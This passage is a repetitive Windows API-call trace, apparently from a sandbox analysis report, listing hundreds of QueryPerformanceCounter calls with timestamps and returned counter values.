lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23408445244) returned 1 [0230.782] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23408461209) returned 1 [0230.812] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23411479263) returned 1 [0230.812] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23411493646) returned 1 [0230.881] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23418409184) returned 1 [0230.882] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23418428638) returned 1 [0230.882] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23418458016) returned 1 [0230.882] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23418469577) returned 1 [0230.890] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23419278811) returned 1 [0230.890] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23419291401) returned 1 [0230.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23420844991) returned 1 [0230.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23420860135) returned 1 [0230.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23423969935) returned 1 [0230.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23423986602) returned 1 [0230.953] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23425542014) returned 1 [0230.953] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23425557557) returned 1 [0230.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23428681671) returned 1 [0230.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23428694881) returned 1 [0231.000] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23430219916) returned 1 [0231.000] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23430235420) returned 1 [0231.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23433328831) returned 1 [0231.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23433341354) returned 1 [0231.046] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23434902955) returned 1 [0231.047] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23434916034) returned 1 [0231.078] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23438044188) returned 1 [0231.078] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23438058068) returned 1 [0231.782] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23508501434) returned 1 [0231.782] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23508516348) returned 1 [0231.835] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23513748307) returned 1 [0231.835] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23513762988) returned 1 [0231.835] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23513787645) returned 1 [0231.835] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23513797931) returned 1 [0231.843] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23514585735) returned 1 [0231.843] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23514599594) returned 1 [0231.859] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23516158481) returned 1 [0231.859] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23516170888) returned 1 [0231.875] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23517755270) returned 1 [0231.875] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23517769953) returned 1 [0231.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23520835424) returned 1 [0231.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23520849620) returned 1 [0231.921] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23522410770) returned 1 [0231.922] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23522425592) returned 1 [0231.953] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23525533885) returned 1 [0231.953] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23525543645) returned 1 [0231.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23528662515) returned 1 [0231.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23528677475) returned 1 [0232.000] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23530221396) returned 1 [0232.000] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23530236515) returned 1 [0232.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23533337359) returned 1 [0232.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23533351484) returned 1 [0232.047] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23534930220) returned 1 [0232.047] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23534944504) returned 1 [0232.062] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23536464493) returned 1 [0232.062] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23536476999) returned 1 [0232.093] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23539609099) returned 1 [0232.094] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23539623546) returned 1 [0232.125] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23542719748) returned 1 [0232.125] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23542734987) returned 1 [0232.140] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23544287726) returned 1 [0232.140] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23544302476) returned 1 [0232.171] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23547416911) returned 1 [0232.172] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23547431940) returned 1 [0232.203] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23550559207) returned 1 [0232.203] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23550574248) returned 1 [0232.235] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23553718053) returned 1 [0232.235] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23553733134) returned 1 [0232.249] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23555214777) returned 1 [0232.250] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23555226828) returned 1 [0232.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23558345224) returned 1 [0232.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23558359822) returned 1 [0232.297] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23559918260) returned 1 [0232.297] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23559932238) returned 1 [0232.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23563035962) returned 1 [0232.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23563051412) returned 1 [0232.344] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23564647609) returned 1 [0232.344] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23564661491) returned 1 [0232.375] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23567726622) returned 1 [0232.375] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23567737136) returned 1 [0232.390] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23569273774) returned 1 [0232.390] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23569286500) returned 1 [0232.409] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23571128689) returned 1 [0232.409] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23571142664) returned 1 [0232.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23573972691) returned 1 [0232.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23573986387) returned 1 [0232.453] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23575527135) returned 1 [0232.453] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23575541278) returned 1 [0232.484] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23578656001) returned 1 [0232.484] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23578669995) returned 1 [0232.530] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23583248421) returned 1 [0232.530] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23583262801) returned 1 [0232.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23583339847) returned 1 [0232.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23583351548) returned 1 [0232.562] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23586471766) returned 1 [0232.562] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23586485642) returned 1 [0232.578] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23588029811) returned 1 [0232.578] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23588044644) returned 1 [0232.593] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23589598297) returned 1 [0232.593] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23589612212) returned 1 [0232.625] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23592723087) returned 1 [0232.625] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23592737764) returned 1 [0232.656] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23595848842) returned 1 [0232.656] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23595863739) returned 1 [0232.687] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23598964604) returned 1 [0232.687] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23598977197) returned 1 [0232.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23602088694) returned 1 [0232.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23602101308) returned 1 [0232.736] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23603877005) returned 1 [0232.736] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23603891176) returned 1 [0232.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23606777943) returned 1 [0232.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23606789874) returned 1 [0232.799] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23610135075) returned 1 [0232.799] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23610147634) returned 1 [0232.828] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23613027248) returned 1 [0232.828] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23613040329) returned 1 [0232.859] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23616166403) returned 1 [0232.859] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23616175327) returned 1 [0232.890] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23619275619) returned 1 [0232.890] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23619287853) returned 1 [0232.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23620842409) returned 1 [0232.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23620855503) returned 1 [0232.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23623957177) returned 1 [0232.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23623970324) returned 1 [0232.953] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23625525194) returned 1 [0232.953] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23625534808) returned 1 [0232.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23628652528) returned 1 [0232.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23628664826) returned 1 [0233.015] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23631773808) returned 1 [0233.015] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23631786792) returned 1 [0233.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23633330783) returned 1 [0233.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23633343423) returned 1 [0233.047] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23634917967) returned 1 [0233.047] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23634930806) returned 1 [0233.078] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23638045018) returned 1 [0233.078] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23638057369) returned 1 [0233.093] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23639581250) returned 1 [0233.093] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23639593679) returned 1 [0233.109] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23641160098) returned 1 [0233.109] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23641173900) returned 1 [0233.124] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23642715776) returned 1 [0233.125] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23642727382) returned 1 [0233.156] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23645836681) returned 1 [0233.156] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23645848669) returned 1 [0233.171] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23647415284) returned 1 [0233.172] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23647423923) returned 1 [0233.189] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23649214996) returned 1 [0233.190] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23649226313) returned 1 [0233.218] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23652091196) returned 1 [0233.218] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23652104186) returned 1 [0233.234] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23653645508) returned 1 [0233.234] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23653658280) returned 1 [0233.250] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23655225778) returned 1 [0233.250] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23655240288) returned 1 [0233.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23658342624) returned 1 [0233.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23658355736) returned 1 [0233.296] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23659908202) returned 1 [0233.297] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23659921291) returned 1 [0233.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23663027150) returned 1 [0233.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23663042334) returned 1 [0233.359] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23666156084) returned 1 [0233.359] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23666168392) returned 1 [0233.375] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23667722639) returned 1 [0233.375] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23667735311) returned 1 [0233.406] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23670852785) returned 1 [0233.406] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23670867701) returned 1 [0233.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23673970152) returned 1 [0233.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23673984289) returned 1 [0233.468] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23677090150) returned 1 [0233.468] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23677105413) returned 1 [0233.519] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23682159180) returned 1 [0233.519] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23682175665) returned 1 [0233.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23683338827) returned 1 [0233.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23683355753) returned 1 [0233.562] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23686462783) returned 1 [0233.562] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23686477568) returned 1 [0233.580] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23688224575) returned 1 [0233.580] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23688235592) returned 1 [0233.609] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23691152299) returned 1 [0233.609] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23691161336) returned 1 [0233.625] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23692723981) returned 1 [0233.625] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23692736023) returned 1 [0233.656] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23695830228) returned 1 [0233.656] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23695842991) returned 1 [0233.671] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23697403537) returned 1 [0233.672] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23697416000) returned 1 [0233.703] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23700525150) returned 1 [0233.703] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23700534047) returned 1 [0233.734] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23703663803) returned 1 [0233.734] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23703675740) returned 1 [0233.749] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23705210572) returned 1 [0233.750] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23705226416) returned 1 [0233.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23708838829) returned 1 [0233.786] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23708851813) returned 1 [0233.797] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23709917074) returned 1 [0233.797] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23709930976) returned 1 [0233.828] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23713025997) returned 1 [0233.828] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23713038502) returned 1 [0233.859] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23716158281) returned 1 [0233.859] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23716173584) returned 1 [0233.874] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23717714694) returned 1 [0233.875] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23717729193) returned 1 [0233.890] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23719281558) returned 1 [0233.890] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23719296700) returned 1 [0233.907] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23720966736) returned 1 [0233.907] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23720980618) returned 1 [0233.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23723969241) returned 1 [0233.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23723984525) returned 1 [0233.968] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23727094450) returned 1 [0233.968] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23727109527) returned 1 [0233.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23728656929) returned 1 [0233.984] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23728671616) returned 1 [0234.015] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23731774997) returned 1 [0234.015] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23731790157) returned 1 [0234.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23733347488) returned 1 [0234.031] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23733363263) returned 1 [0234.062] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23736492300) returned 1 [0234.062] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23736507708) returned 1 [0234.078] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23738037563) returned 1 [0234.078] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23738052231) returned 1 [0235.010] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23831217632) returned 1 [0235.010] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23831230962) returned 1 [0235.082] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23838454431) returned 1 [0235.082] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23838468064) returned 1 [0235.082] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23838487975) returned 1 [0235.082] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23838498323) returned 1 [0235.109] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23841148052) returned 1 [0235.109] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23841161192) returned 1 [0235.140] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23844270423) returned 1 [0235.140] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | 